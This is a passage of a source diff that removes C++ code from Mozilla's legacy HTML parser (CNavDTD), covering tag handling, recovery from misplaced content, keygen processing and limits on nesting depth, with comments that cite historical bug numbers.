- isHiddenInputInsideTableElement || CanContain(theParentTag, aChildTag);
- if (!isHiddenInputInsideTableElement &&
- CanOmit(theParentTag, aChildTag, theParentContains)) {
- HandleOmittedTag(aToken, aChildTag, theParentTag, aNode);
- return NS_OK;
- }
-
- eProcessRule theRule = eNormalOp;
-
- if (!theParentContains &&
- (IsBlockElement(aChildTag, theParentTag) &&
- IsInlineElement(theParentTag, theParentTag))) {
- // Don't test for table to fix 57554.
- if (eHTMLTag_li != aChildTag) {
- nsCParserNode* theParentNode = mBodyContext->PeekNode();
- if (theParentNode && theParentNode->mToken->IsWellFormed()) {
- theRule = eLetInlineContainBlock;
- }
- }
- }
-
- switch (theRule) {
- case eNormalOp:
- theChildAgrees = true;
- if (theParentContains) {
- eHTMLTags theAncestor = gHTMLElements[aChildTag].mRequiredAncestor;
- if (eHTMLTag_unknown != theAncestor) {
- theChildAgrees = HasOpenContainer(theAncestor);
- }
-
- if (theChildAgrees && theChildIsContainer) {
- if (theParentTag != aChildTag) {
- // Double check the power structure
- // Note: The bit is currently set on tags such as <A> and <LI>.
- if (gHTMLElements[aChildTag].ShouldVerifyHierarchy()) {
- int32_t theChildIndex =
- nsHTMLElement::GetIndexOfChildOrSynonym(*mBodyContext,
- aChildTag);
-
- if (kNotFound < theChildIndex && theChildIndex < theIndex) {
- /*
- * 1 Here's a tricky case from bug 22596: <h5><li><h5>
- * How do we know that the 2nd <h5> should close the <LI>
- * rather than nest inside the <LI>? (Afterall, the <h5>
- * is a legal child of the <LI>).
- *
- * The way you know is that there is no root between the
- * two, so the <h5> binds more tightly to the 1st <h5>
- * than to the <LI>.
- *
- * 2 Also, bug 6148 shows this case: <SPAN><DIV><SPAN>
- * From this case we learned not to execute this logic if
- * the parent is a block.
- *
- * 3 Fix for 26583:
- * <A href=foo.html><B>foo<A href-bar.html>bar</A></B></A>
- * In the above example clicking on "foo" or "bar" should
- * link to foo.html or bar.html respectively. That is,
- * the inner <A> should be informed about the presence of
- * an open <A> above <B>..so that the inner <A> can close
- * out the outer <A>. The following code does it for us.
- *
- * 4 Fix for 27865 [ similer to 22596 ]. Ex:
- * <DL><DD><LI>one<DD><LI>two
- */
- theChildAgrees = CanBeContained(aChildTag, *mBodyContext);
- }
- }
- }
- }
- }
-
- if (!(theParentContains && theChildAgrees)) {
- if (!CanPropagate(theParentTag, aChildTag, theParentContains)) {
- if (theChildIsContainer || !theParentContains) {
- if (!theChildAgrees &&
- !gHTMLElements[aChildTag].CanAutoCloseTag(*mBodyContext,
- theIndex,
- aChildTag)) {
- // Closing the tags above might cause non-compatible results.
- // Ex. <TABLE><TR><TD><TBODY>Text</TD></TR></TABLE>.
- // In the example above <TBODY> is badly misplaced, but
- // we should not attempt to close the tags above it,
- // The safest thing to do is to discard this tag.
- // XXX We get the above example wrong anyway because of
- // CanBeContained.
- return result;
- } else if (mBodyContext->mContextTopIndex > 0 &&
- theIndex <= mBodyContext->mContextTopIndex) {
- // Looks like the parent tag does not want to contain the
- // current tag ( aChildTag ). However, we have to force the
- // containment, when handling misplaced content, to avoid data
- // loss. Ref. bug 138577.
- theParentContains = true;
- } else {
- CloseContainersTo(theIndex, aChildTag, true);
- }
- } else {
- break;
- }
- } else {
- CreateContextStackFor(theParentTag, aChildTag);
- theIndex = mBodyContext->GetCount();
- }
- }
- break;
-
- case eLetInlineContainBlock:
- // Break out of this loop and open the block.
- theParentContains = theChildAgrees = true;
- break;
-
- default:
- NS_NOTREACHED("Invalid rule detected");
- }
- } while (!(theParentContains && theChildAgrees));
- }
-
- if (theChildIsContainer) {
- result = OpenContainer(aNode, aChildTag);
- } else {
- result = AddLeaf(aNode);
- }
-
- return result;
-}
-
-nsresult
-CNavDTD::WillHandleStartTag(CToken* aToken, eHTMLTags aTag,
- nsIParserNode& aNode)
-{
- nsresult result = NS_OK;
-
- int32_t stackDepth = mBodyContext->GetCount();
- if (stackDepth >= FONTSTYLE_IGNORE_DEPTH &&
- gHTMLElements[aTag].IsMemberOf(kFontStyle)) {
- // Prevent bug 58917 by tossing the new kFontStyle start tag
- return kHierarchyTooDeep;
- }
-
- if (stackDepth >= PHRASE_IGNORE_DEPTH &&
- gHTMLElements[aTag].IsMemberOf(kPhrase)) {
- // Prevent bug 58917 by tossing the new kPhrase start tag
- return kHierarchyTooDeep;
- }
-
- /*
- * Now a little code to deal with bug #49687 (crash when layout stack gets
- * too deep) I've also opened this up to any container (not just inlines):
- * re bug 55095 Improved to handle bug 55980 (infinite loop caused when
- * DEPTH is exceeded and </P> is encountered by itself (<P>) is continuously
- * produced.
- */
- if (stackDepth > MAX_REFLOW_DEPTH) {
- if (nsHTMLElement::IsContainer(aTag) &&
- !gHTMLElements[aTag].HasSpecialProperty(kHandleStrayTag)) {
- // Ref. bug 98261,49678,55095,55980
- // Instead of throwing away the current tag close it's parent
- // such that the stack level does not go beyond the max_reflow_depth.
- // This would allow leaf tags, that follow the current tag, to find
- // the correct node.
- while (stackDepth != MAX_REFLOW_DEPTH && NS_SUCCEEDED(result)) {
- result = CloseContainersTo(mBodyContext->Last(), false);
- --stackDepth;
- }
- }
- }
-
- return result;
-}
-
-static void
-PushMisplacedAttributes(nsIParserNode& aNode, nsDeque& aDeque)
-{
- nsCParserNode& theAttrNode = static_cast<nsCParserNode &>(aNode);
-
- for (int32_t count = aNode.GetAttributeCount(); count > 0; --count) {
- CToken* theAttrToken = theAttrNode.PopAttributeTokenFront();
- if (theAttrToken) {
- theAttrToken->SetNewlineCount(0);
- aDeque.Push(theAttrToken);
- }
- }
-}
-
-void
-CNavDTD::HandleOmittedTag(CToken* aToken, eHTMLTags aChildTag,
- eHTMLTags aParent, nsIParserNode* aNode)
-{
- NS_PRECONDITION(mBodyContext != nullptr, "need a context to work with");
-
- // The trick here is to see if the parent can contain the child, but prefers
- // not to. Only if the parent CANNOT contain the child should we look to see
- // if it's potentially a child of another section. If it is, the cache it for
- // later.
- int32_t theTagCount = mBodyContext->GetCount();
- bool pushToken = false;
-
- if (gHTMLElements[aParent].HasSpecialProperty(kBadContentWatch) &&
- !nsHTMLElement::IsWhitespaceTag(aChildTag)) {
- eHTMLTags theTag = eHTMLTag_unknown;
-
- // Don't bother saving misplaced stuff in the head. This can happen in
- // cases like |<head><noscript><table>foo|. See bug 401169.
- if (mFlags & NS_DTD_FLAG_HAS_OPEN_HEAD) {
- NS_ASSERTION(!(mFlags & NS_DTD_FLAG_HAS_MAIN_CONTAINER),
- "Bad state");
- return;
- }
-
- // Determine the insertion point
- while (theTagCount > 0) {
- theTag = mBodyContext->TagAt(--theTagCount);
- if (!gHTMLElements[theTag].HasSpecialProperty(kBadContentWatch)) {
- // This is our insertion point.
- mBodyContext->mContextTopIndex = theTagCount;
- break;
- }
- }
-
- if (mBodyContext->mContextTopIndex > -1) {
- pushToken = true;
-
- // Remember that we've stashed some misplaced content.
- mFlags |= NS_DTD_FLAG_MISPLACED_CONTENT;
- }
- }
-
- if (aChildTag != aParent &&
- gHTMLElements[aParent].HasSpecialProperty(kSaveMisplaced)) {
- NS_ASSERTION(!pushToken, "A strange element has both kBadContentWatch "
- "and kSaveMisplaced");
- pushToken = true;
- }
-
- if (pushToken) {
- // Hold on to this token for later use. Ref Bug. 53695
- IF_HOLD(aToken);
- PushIntoMisplacedStack(aToken);
-
- // If the token is attributed then save those attributes too.
- PushMisplacedAttributes(*aNode, mMisplacedContent);
- }
-}
-
-/**
- * This method gets called when a kegen token is found.
- *
- * @update harishd 05/02/00
- * @param aNode -- CParserNode representing keygen
- * @return NS_OK if all went well; ERROR if error occurred
- */
-nsresult
-CNavDTD::HandleKeyGen(nsIParserNode* aNode)
-{
- nsresult result = NS_OK;
-
- nsCOMPtr<nsIFormProcessor> theFormProcessor =
- do_GetService(kFormProcessorCID, &result);
- if (NS_FAILED(result)) {
- return result;
- }
-
- int32_t theAttrCount = aNode->GetAttributeCount();
- nsTArray<nsString> theContent;
- nsAutoString theAttribute;
- nsAutoString theFormType;
- CToken* theToken = nullptr;
-
- theFormType.AssignLiteral("select");
-
- result = theFormProcessor->ProvideContent(theFormType, theContent,
- theAttribute);
- if (NS_FAILED(result)) {
- return result;
- }
- int32_t theIndex = 0;
-
- // Populate the tokenizer with the fabricated elements in the reverse
- // order such that <SELECT> is on the top fo the tokenizer followed by
- // <OPTION>s and </SELECT>.
- theToken = mTokenAllocator->CreateTokenOfType(eToken_end,
- eHTMLTag_select);
- NS_ENSURE_TRUE(theToken, NS_ERROR_OUT_OF_MEMORY);
- mTokenizer->PushTokenFront(theToken);
-
- for (theIndex = theContent.Length()-1; theIndex > -1; --theIndex) {
- theToken = mTokenAllocator->CreateTokenOfType(eToken_text,
- eHTMLTag_text,
- theContent[theIndex]);
- NS_ENSURE_TRUE(theToken, NS_ERROR_OUT_OF_MEMORY);
- mTokenizer->PushTokenFront(theToken);
-
- theToken = mTokenAllocator->CreateTokenOfType(eToken_start,
- eHTMLTag_option);
- NS_ENSURE_TRUE(theToken, NS_ERROR_OUT_OF_MEMORY);
- mTokenizer->PushTokenFront(theToken);
- }
-
- // The attribute ( provided by the form processor ) should be a part
- // of the SELECT. Placing the attribute token on the tokenizer to get
- // picked up by the SELECT.
- theToken = mTokenAllocator->CreateTokenOfType(eToken_attribute,
- eHTMLTag_unknown,
- theAttribute);
- NS_ENSURE_TRUE(theToken, NS_ERROR_OUT_OF_MEMORY);
-
- ((CAttributeToken*)theToken)->SetKey(NS_LITERAL_STRING("_moz-type"));
- mTokenizer->PushTokenFront(theToken);
-
- // Pop out NAME and CHALLENGE attributes ( from the keygen NODE ) and
- // place it in the tokenizer such that the attribtues get sucked into
- // SELECT node.
- for (theIndex = theAttrCount; theIndex > 0; --theIndex) {
- mTokenizer->PushTokenFront(((nsCParserNode*)aNode)->PopAttributeToken());
- }
-
- theToken = mTokenAllocator->CreateTokenOfType(eToken_start,
- eHTMLTag_select);
- NS_ENSURE_TRUE(theToken, NS_ERROR_OUT_OF_MEMORY);
-
- // Increment the count because of the additional attribute from the form processor.
- theToken->SetAttributeCount(theAttrCount + 1);
- mTokenizer->PushTokenFront(theToken);
-
- return result;
-}
-
-bool
-CNavDTD::IsAlternateTag(eHTMLTags aTag)
-{
- switch (aTag) {
- case eHTMLTag_noembed:
- return true;
-
- case eHTMLTag_noscript:
- return (mFlags & NS_IPARSER_FLAG_SCRIPT_ENABLED) != 0;
-
- case eHTMLTag_iframe:
- case eHTMLTag_noframes:
- return (mFlags & NS_IPARSER_FLAG_FRAMES_ENABLED) != 0;
-
- default:
- return false;
- }
-}
-
-nsresult
-CNavDTD::HandleStartToken(CToken* aToken)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
-
- nsCParserNode* theNode = mNodeAllocator.CreateNode(aToken, mTokenAllocator);
- NS_ENSURE_TRUE(theNode, NS_ERROR_OUT_OF_MEMORY);
-
- eHTMLTags theChildTag = (eHTMLTags)aToken->GetTypeID();
- int16_t attrCount = aToken->GetAttributeCount();
- eHTMLTags theParent = mBodyContext->Last();
- nsresult result = NS_OK;
-
- if (attrCount > 0) {
- result = CollectAttributes(theNode, theChildTag, attrCount);
- }
-
- if (NS_OK == result) {
- result = WillHandleStartTag(aToken, theChildTag, *theNode);
- if (NS_OK == result) {
- bool isTokenHandled = false;
- bool theHeadIsParent = false;
-
- if (nsHTMLElement::IsSectionTag(theChildTag)) {
- switch (theChildTag) {
- case eHTMLTag_html:
- if (mBodyContext->GetCount() > 0) {
- result = OpenContainer(theNode, theChildTag);
- isTokenHandled = true;
- }
- break;
-
- case eHTMLTag_body:
- if (mFlags & NS_DTD_FLAG_HAS_OPEN_BODY) {
- result = OpenContainer(theNode, theChildTag);
- isTokenHandled=true;
- }
- break;
-
- case eHTMLTag_head:
- mFlags |= NS_DTD_FLAG_HAS_EXPLICIT_HEAD;
-
- if (mFlags & NS_DTD_FLAG_HAS_MAIN_CONTAINER) {
- HandleOmittedTag(aToken, theChildTag, theParent, theNode);
- isTokenHandled = true;
- }
- break;
-
- default:
- break;
- }
- }
-
- bool isExclusive = false;
- theHeadIsParent = nsHTMLElement::IsChildOfHead(theChildTag, isExclusive);
-
- switch (theChildTag) {
- case eHTMLTag_area:
- if (!mOpenMapCount) {
- isTokenHandled = true;
- }
-
- if (mOpenMapCount > 0 && mSink) {
- result = mSink->AddLeaf(*theNode);
- isTokenHandled = true;
- }
-
- break;
-
- case eHTMLTag_image:
- aToken->SetTypeID(theChildTag = eHTMLTag_img);
- break;
-
- case eHTMLTag_keygen:
- result = HandleKeyGen(theNode);
- isTokenHandled = true;
- break;
-
- case eHTMLTag_script:
- // Script isn't really exclusively in the head. However, we treat it
- // as such to make sure that we don't pull scripts outside the head
- // into the body.
- // XXX Where does the script go in a frameset document?
- isExclusive = !(mFlags & NS_DTD_FLAG_HAD_BODY);
- break;
-
- default:;
- }
-
- if (!isTokenHandled) {
- bool prefersBody =
- gHTMLElements[theChildTag].HasSpecialProperty(kPreferBody);
-
- // If this tag prefers to be in the head (when neither the head nor the
- // body have been explicitly opened) then check that we haven't seen the
- // body (true until the <body> tag has really been seen). Otherwise,
- // check if the head has been explicitly opened. See bug 307122.
- theHeadIsParent = theHeadIsParent &&
- (isExclusive ||
- (prefersBody
- ? (mFlags & NS_DTD_FLAG_HAS_EXPLICIT_HEAD) &&
- (mFlags & NS_DTD_FLAG_HAS_OPEN_HEAD)
- : !(mFlags & NS_DTD_FLAG_HAS_MAIN_CONTAINER)));
-
- if (theHeadIsParent) {
- // These tokens prefer to be in the head.
- result = AddHeadContent(theNode);
- } else {
- result = HandleDefaultStartToken(aToken, theChildTag, theNode);
- }
- }
-
- // Now do any post processing necessary on the tag...
- if (NS_OK == result) {
- DidHandleStartTag(*theNode, theChildTag);
- }
- }
- }
-
- if (kHierarchyTooDeep == result) {
- // Reset this error to ok; all that happens here is that given inline tag
- // gets dropped because the stack is too deep. Don't terminate parsing.
- result = NS_OK;
- }
-
- IF_FREE(theNode, &mNodeAllocator);
- return result;
-}
-
-/**
- * Call this to see if you have a closeable peer on the stack that
- * is ABOVE one of its root tags.
- *
- * @update gess 4/11/99
- * @param aRootTagList -- list of root tags for aTag
- * @param aTag -- tag to test for containership
- * @return true if given tag can contain other tags
- */
-static bool
-HasCloseablePeerAboveRoot(const TagList& aRootTagList, nsDTDContext& aContext,
- eHTMLTags aTag, bool anEndTag)
-{
- int32_t theRootIndex = LastOf(aContext, aRootTagList);
- const TagList* theCloseTags = anEndTag
- ? gHTMLElements[aTag].GetAutoCloseEndTags()
- : gHTMLElements[aTag].GetAutoCloseStartTags();
- int32_t theChildIndex = -1;
-
- if (theCloseTags) {
- theChildIndex=LastOf(aContext, *theCloseTags);
- } else if (anEndTag || !gHTMLElements[aTag].CanContainSelf()) {
- theChildIndex = aContext.LastOf(aTag);
- }
-
- // I changed this to theRootIndex<=theChildIndex so to handle this case:
- // <SELECT><OPTGROUP>...</OPTGROUP>
- return theRootIndex<=theChildIndex;
-}
-
-
-/**
- * This method is called to determine whether or not an END tag
- * can be autoclosed. This means that based on the current
- * context, the stack should be closed to the nearest matching
- * tag.
- *
- * @param aTag -- tag enum of child to be tested
- * @return true if autoclosure should occur
- */
-static eHTMLTags
-FindAutoCloseTargetForEndTag(eHTMLTags aCurrentTag, nsDTDContext& aContext,
- nsDTDMode aMode)
-{
- int theTopIndex = aContext.GetCount();
- eHTMLTags thePrevTag = aContext.Last();
-
- if (nsHTMLElement::IsContainer(aCurrentTag)) {
- int32_t theChildIndex =
- nsHTMLElement::GetIndexOfChildOrSynonym(aContext, aCurrentTag);
-
- if (kNotFound < theChildIndex) {
- if (thePrevTag == aContext[theChildIndex]) {
- return aContext[theChildIndex];
- }
-
- if (nsHTMLElement::IsBlockCloser(aCurrentTag)) {
- /*
- * Here's the algorithm:
- * Our here is sitting at aChildIndex. There are other tags above it
- * on the stack. We have to try to close them out, but we may encounter
- * one that can block us. The way to tell is by comparing each tag on
- * the stack against our closeTag and rootTag list.
- *
- * For each tag above our hero on the stack, ask 3 questions:
- * 1. Is it in the closeTag list? If so, the we can skip over it
- * 2. Is it in the rootTag list? If so, then we're gated by it
- * 3. Otherwise its non-specified and we simply presume we can close it.
- */
- const TagList* theCloseTags =
- gHTMLElements[aCurrentTag].GetAutoCloseEndTags();
- const TagList* theRootTags =
- gHTMLElements[aCurrentTag].GetEndRootTags();
-
- if (theCloseTags) {
- // At a mininimum, this code is needed for H1..H6
- while (theChildIndex < --theTopIndex) {
- eHTMLTags theNextTag = aContext[theTopIndex];
- if (!FindTagInSet(theNextTag, theCloseTags->mTags,
- theCloseTags->mCount) &&
- FindTagInSet(theNextTag, theRootTags->mTags,
- theRootTags->mCount)) {
- // We encountered a tag in root list so fail (we're gated).
- return eHTMLTag_unknown;
- }
-
- // Otherwise, presume it's something we can simply ignore and
- // continue searching.
- }
-
- eHTMLTags theTarget = aContext.TagAt(theChildIndex);
- if (aCurrentTag != theTarget) {
- aCurrentTag = theTarget;
- }
- // If you make it here, we're ungated and found a target!
- return aCurrentTag;
- } else if (theRootTags) {
- // Since we didn't find any close tags, see if there is an instance of
- // aCurrentTag above the stack from the roottag.
- if (HasCloseablePeerAboveRoot(*theRootTags, aContext, aCurrentTag,
- true)) {
- return aCurrentTag;
- } else {
- return eHTMLTag_unknown;
- }
- }
- } else {
- // Ok, a much more sensible approach for non-block closers; use the tag
- // group to determine closure: For example: %phrasal closes %phrasal,
- // %fontstyle and %special
- return gHTMLElements[aCurrentTag].GetCloseTargetForEndTag(aContext,
- theChildIndex,
- aMode);
- }
- }
- }
-
- return eHTMLTag_unknown;
-}
-
-static void
-StripWSFollowingTag(eHTMLTags aChildTag, nsITokenizer* aTokenizer,
- nsTokenAllocator* aTokenAllocator, int32_t* aNewlineCount)
-{
- if (!aTokenizer || !aTokenAllocator) {
- return;
- }
-
- CToken* theToken = aTokenizer->PeekToken();
-
- int32_t newlineCount = 0;
- while (theToken) {
- eHTMLTokenTypes theType = eHTMLTokenTypes(theToken->GetTokenType());
-
- switch(theType) {
- case eToken_newline:
- case eToken_whitespace:
- theToken = aTokenizer->PopToken();
- newlineCount += theToken->GetNewlineCount();
- IF_FREE(theToken, aTokenAllocator);
-
- theToken = aTokenizer->PeekToken();
- break;
-
- default:
- theToken = nullptr;
- break;
- }
- }
-
- if (aNewlineCount) {
- *aNewlineCount += newlineCount;
- }
-}
-
-/**
- * This method gets called when an end token has been
- * encountered in the parse process. If the end tag matches
- * the start tag on the stack, then simply close it. Otherwise,
- * we have a erroneous state condition. This can be because we
- * have a close tag with no prior open tag (user error) or because
- * we screwed something up in the parse process. I'm not sure
- * yet how to tell the difference.
- *
- * @param aToken -- next (start) token to be handled
- * @return true if all went well; false if error occurred
- */
-nsresult
-CNavDTD::HandleEndToken(CToken* aToken)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
-
- nsresult result = NS_OK;
- eHTMLTags theChildTag = (eHTMLTags)aToken->GetTypeID();
-
- // Begin by dumping any attributes (bug 143512)
- CollectAttributes(nullptr, theChildTag, aToken->GetAttributeCount());
-
- switch (theChildTag) {
- case eHTMLTag_link:
- case eHTMLTag_meta:
- break;
-
- case eHTMLTag_head:
- StripWSFollowingTag(theChildTag, mTokenizer, mTokenAllocator,
- !mCountLines ? nullptr : &mLineNumber);
- if (mBodyContext->LastOf(eHTMLTag_head) != kNotFound) {
- result = CloseContainersTo(eHTMLTag_head, false);
- }
- mFlags &= ~NS_DTD_FLAG_HAS_EXPLICIT_HEAD;
- break;
-
- case eHTMLTag_form:
- result = CloseContainer(eHTMLTag_form, false);
- break;
-
- case eHTMLTag_br:
- {
- // This is special NAV-QUIRKS code that allows users to use </BR>, even
- // though that isn't a legitimate tag.
- if (eDTDMode_quirks == mDTDMode) {
- // Use recycler and pass the token thro' HandleToken() to fix bugs
- // like 32782.
- CToken* theToken = mTokenAllocator->CreateTokenOfType(eToken_start,
- theChildTag);
- result = HandleToken(theToken);
- }
- }
- break;
-
- case eHTMLTag_body:
- case eHTMLTag_html:
- StripWSFollowingTag(theChildTag, mTokenizer, mTokenAllocator,
- !mCountLines ? nullptr : &mLineNumber);
- break;
-
- case eHTMLTag_script:
- // Note: we don't fall through to the default case because
- // CloseContainersTo() has the bad habit of closing tags that are opened
- // by document.write(). Fortunately, the tokenizer guarantees that no
- // actual tags appear between <script> and </script> so we won't be
- // closing the wrong tag.
- if (mBodyContext->Last() != eHTMLTag_script) {
- // Except if we're here, then there's probably a stray script tag.
- NS_ASSERTION(mBodyContext->LastOf(eHTMLTag_script) == kNotFound,
- "Mishandling scripts in CNavDTD");
- break;
- }
-
- mBodyContext->Pop();
- result = CloseContainer(eHTMLTag_script, aToken->IsInError());
- break;
-
- default:
- {
- // Now check to see if this token should be omitted, or
- // if it's gated from closing by the presence of another tag.
- if (gHTMLElements[theChildTag].CanOmitEndTag()) {
- PopStyle(theChildTag);
- } else {
- eHTMLTags theParentTag = mBodyContext->Last();
-
- // First open transient styles, so that we see any autoclosed style
- // tags.
- if (nsHTMLElement::IsResidualStyleTag(theChildTag)) {
- result = OpenTransientStyles(theChildTag);
- if (NS_FAILED(result)) {
- return result;
- }
- }
-
- if (kNotFound ==
- nsHTMLElement::GetIndexOfChildOrSynonym(*mBodyContext,
- theChildTag)) {
- // Ref: bug 30487
- // Make sure that we don't cross boundaries, of certain elements,
- // to close stylistic information.
- // <font face="helvetica"><table><tr><td></font></td></tr></table> some text...
- // In the above ex. the orphaned FONT tag, inside TD, should cross
- // TD boundary to close the FONT tag above TABLE.
- static eHTMLTags gBarriers[] = {
- eHTMLTag_thead, eHTMLTag_tbody, eHTMLTag_tfoot, eHTMLTag_table
- };
-
- if (!FindTagInSet(theParentTag, gBarriers,
- ArrayLength(gBarriers)) &&
- nsHTMLElement::IsResidualStyleTag(theChildTag)) {
- // Fix bug 77746
- mBodyContext->RemoveStyle(theChildTag);
- }
-
- // If the bit kHandleStrayTag is set then we automatically open up a
- // matching start tag (compatibility). Currently this bit is set on
- // P tag. This also fixes Bug: 22623
- if (gHTMLElements[theChildTag].HasSpecialProperty(kHandleStrayTag) &&
- mDTDMode != eDTDMode_full_standards &&
- mDTDMode != eDTDMode_almost_standards) {
- // Oh boy!! we found a "stray" tag. Nav4.x and IE introduce line
- // break in such cases. So, let's simulate that effect for
- // compatibility.
- // Ex. <html><body>Hello</P>There</body></html>
- int32_t theParentContains = -1;
- if (!CanOmit(theParentTag, theChildTag, theParentContains)) {
- CToken* theStartToken =
- mTokenAllocator->CreateTokenOfType(eToken_start, theChildTag);
- NS_ENSURE_TRUE(theStartToken, NS_ERROR_OUT_OF_MEMORY);
-
- // This check for NS_DTD_FLAG_IN_MISPLACED_CONTENT was added
- // to fix bug 142965.
- if (!(mFlags & NS_DTD_FLAG_IN_MISPLACED_CONTENT)) {
- // We're not handling misplaced content right now, just push
- // these new tokens back on the stack and handle them in the
- // regular flow of HandleToken.
- IF_HOLD(aToken);
- mTokenizer->PushTokenFront(aToken);
- mTokenizer->PushTokenFront(theStartToken);
- } else {
- // Oops, we're in misplaced content. Handle these tokens
- // directly instead of trying to push them onto the tokenizer
- // stack.
- result = HandleToken(theStartToken);
- NS_ENSURE_SUCCESS(result, result);
-
- IF_HOLD(aToken);
- result = HandleToken(aToken);
- }
- }
- }
- return result;
- }
- if (result == NS_OK) {
- eHTMLTags theTarget =
- FindAutoCloseTargetForEndTag(theChildTag, *mBodyContext,
- mDTDMode);
- if (eHTMLTag_unknown != theTarget) {
- result = CloseContainersTo(theTarget, false);
- }
- }
- }
- }
- break;
- }
-
- return result;
-}
-
-/**
- * This method will be triggered when the end of a table is
- * encountered. Its primary purpose is to process all the
- * bad-contents pertaining a particular table. The position
- * of the table is the token bank ID.
- *
- * @update harishd 03/24/99
- * @param aTag - This ought to be a table tag
- *
- */
-nsresult
-CNavDTD::HandleSavedTokens(int32_t anIndex)
-{
- NS_PRECONDITION(mBodyContext != nullptr && mBodyContext->GetCount() > 0, "invalid context");
-
- nsresult result = NS_OK;
-
- if (mSink && (anIndex > kNotFound)) {
- int32_t theBadTokenCount = mMisplacedContent.GetSize();
-
- if (theBadTokenCount > 0) {
- mFlags |= NS_DTD_FLAG_IN_MISPLACED_CONTENT;
-
- if (!mTempContext && !(mTempContext = new nsDTDContext())) {
- return NS_ERROR_OUT_OF_MEMORY;
- }
-
- CToken* theToken;
- eHTMLTags theTag;
- int32_t attrCount;
- int32_t theTopIndex = anIndex + 1;
- int32_t theTagCount = mBodyContext->GetCount();
-
- // Pause the main context and switch to the new context.
- result = mSink->BeginContext(anIndex);
-
- NS_ENSURE_SUCCESS(result, result);
-
- // The body context should contain contents only upto the marked position.
- mBodyContext->MoveEntries(*mTempContext, theTagCount - theTopIndex);
-
- // Now flush out all the bad contents.
- while (theBadTokenCount-- > 0){
- theToken = (CToken*)mMisplacedContent.PopFront();
- if (theToken) {
- theTag = (eHTMLTags)theToken->GetTypeID();
- attrCount = theToken->GetAttributeCount();
- // Put back attributes, which once got popped out, into the
- // tokenizer. Make sure we preserve their ordering, however!
- // XXXbz would it be faster to get the tokens out with ObjectAt and
- // put them in the tokenizer and then PopFront them all from
- // mMisplacedContent?
- nsDeque temp;
- for (int32_t j = 0; j < attrCount; ++j) {
- CToken* theAttrToken = (CToken*)mMisplacedContent.PopFront();
- if (theAttrToken) {
- temp.Push(theAttrToken);
- }
- theBadTokenCount--;
- }
- mTokenizer->PrependTokens(temp);
-
- if (eToken_end == theToken->GetTokenType()) {
- // Ref: Bug 25202
- // Make sure that the BeginContext() is ended only by the call to
- // EndContext(). Ex: <center><table><a></center>.
- // In the Ex. above </center> should not close <center> above table.
- // Doing so will cause the current context to get closed prematurely.
- eHTMLTags closed = FindAutoCloseTargetForEndTag(theTag, *mBodyContext,
- mDTDMode);
- int32_t theIndex = closed != eHTMLTag_unknown
- ? mBodyContext->LastOf(closed)
- : kNotFound;
-
- if (theIndex != kNotFound &&
- theIndex <= mBodyContext->mContextTopIndex) {
- IF_FREE(theToken, mTokenAllocator);
- continue;
- }
- }
-
- // XXX This should go away, with this call, it becomes extremely
- // difficult to handle misplaced style and link tags, since it's hard
- // to propagate the block return all the way up and then re-enter this
- // method.
- result = HandleToken(theToken);
- }
- }
-
- if (theTopIndex != mBodyContext->GetCount()) {
- // CloseContainersTo does not close any forms we might have opened while
- // handling saved tokens, because the parser does not track forms on its
- // mBodyContext stack.
- CloseContainersTo(theTopIndex, mBodyContext->TagAt(theTopIndex),
- true);
- }
-
- // Bad-contents were successfully processed. Now, itz time to get
- // back to the original body context state.
- mTempContext->MoveEntries(*mBodyContext, theTagCount - theTopIndex);
-
- // Terminate the new context and switch back to the main context
- mSink->EndContext(anIndex);
-
- mFlags &= ~NS_DTD_FLAG_IN_MISPLACED_CONTENT;
- }
- }
- return result;
-}
-
-
-/**
- * This method gets called when an entity token has been
- * encountered in the parse process.
- *
- * @update gess 3/25/98
- * @param aToken -- next (start) token to be handled
- * @return true if all went well; false if error occurred
- */
-nsresult
-CNavDTD::HandleEntityToken(CToken* aToken)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
-
- nsresult result = NS_OK;
-
- const nsSubstring& theStr = aToken->GetStringValue();
-
- if (kHashsign != theStr.First() &&
- -1 == nsHTMLEntities::EntityToUnicode(theStr)) {
- // If you're here we have a bogus entity.
- // Convert it into a text token.
- CToken *theToken;
-
- nsAutoString entityName;
- entityName.AssignLiteral("&");
- entityName.Append(theStr);
- theToken = mTokenAllocator->CreateTokenOfType(eToken_text, eHTMLTag_text,
- entityName);
- NS_ENSURE_TRUE(theToken, NS_ERROR_OUT_OF_MEMORY);
-
- // theToken should get recycled automagically...
- return HandleToken(theToken);
- }
-
- eHTMLTags theParentTag = mBodyContext->Last();
- nsCParserNode* theNode = mNodeAllocator.CreateNode(aToken, mTokenAllocator);
- NS_ENSURE_TRUE(theNode, NS_ERROR_OUT_OF_MEMORY);
-
- int32_t theParentContains = -1;
- if (CanOmit(theParentTag, eHTMLTag_entity, theParentContains)) {
- eHTMLTags theCurrTag = (eHTMLTags)aToken->GetTypeID();
- HandleOmittedTag(aToken, theCurrTag, theParentTag, theNode);
- } else {
- result = AddLeaf(theNode);
- }
- IF_FREE(theNode, &mNodeAllocator);
- return result;
-}
-
-/**
- * This method gets called when a comment token has been
- * encountered in the parse process. After making sure
- * we're somewhere in the body, we handle the comment
- * in the same code that we use for text.
- *
- * @update gess 3/25/98
- * @param aToken -- next (start) token to be handled
- * @return true if all went well; false if error occurred
- */
-nsresult
-CNavDTD::HandleCommentToken(CToken* aToken)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
- return NS_OK;
-}
-
-
-/**
- * This method gets called when an attribute token has been
- * encountered in the parse process. This is an error, since
- * all attributes should have been accounted for in the prior
- * start or end tokens
- *
- * @update gess 3/25/98
- * @param aToken -- next (start) token to be handled
- * @return true if all went well; false if error occurred
- */
-nsresult
-CNavDTD::HandleAttributeToken(CToken* aToken)
-{
- NS_ERROR("attribute encountered -- this shouldn't happen.");
- return NS_OK;
-}
-
-/**
- * This method gets called when an "instruction" token has been
- * encountered in the parse process.
- *
- * @update gess 3/25/98
- * @param aToken -- next (start) token to be handled
- * @return true if all went well; false if error occurred
- */
-nsresult
-CNavDTD::HandleProcessingInstructionToken(CToken* aToken)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
- return NS_OK;
-}
-
-/**
- * This method gets called when a DOCTYPE token has been
- * encountered in the parse process.
- *
- * @update harishd 09/02/99
- * @param aToken -- The very first token to be handled
- * @return true if all went well; false if error occurred
- */
-nsresult
-CNavDTD::HandleDocTypeDeclToken(CToken* aToken)
-{
- NS_PRECONDITION(nullptr != aToken, kNullToken);
-
